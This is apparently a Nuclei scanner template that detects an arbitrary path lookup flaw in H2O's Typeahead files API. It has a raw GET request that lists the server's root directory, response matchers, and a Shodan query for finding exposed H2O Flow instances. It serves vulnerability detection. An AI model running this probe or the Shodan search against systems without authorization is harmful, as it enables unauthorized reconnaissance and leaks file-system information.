id: h2o-arbitary-file-read

info:
  name: H2O - Arbitrary Path Lookup
  author: danmcinerney,byt3bl33d3r
  severity: medium
  description: |
    H2O allows for arbitrary path lookup via it's Typehead API endpoint
  reference:
    - https://huntr.com/bounties/e76372c2-39be-4984-a7c8-7048a75a25dc/
  classification:
    cwe-id: CWE-200
  metadata:
    verified: true
    max-request: 1
    shodan-query: title:"H2O Flow"
  tags: h2o-3,h2o,info-leak,lfi,misconfig

http:
  - raw:
      - |
        GET /3/Typeahead/files?src=%2F&limit=10 HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"/bin"'
          - '"__meta":'
          - '"schema_name":'
        condition: and

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 200
# digest: 490a00463044022011339cdd427e09e0bb6fc6fea43c5ccc29862e53f5f7256276ebd3e7c8f6793902206a3f2c4d7f1e8cb7f4de5b3b851905eb9111a187a5298d84c25322a6162b485e:922c64590222798bb761d5b6d8e72950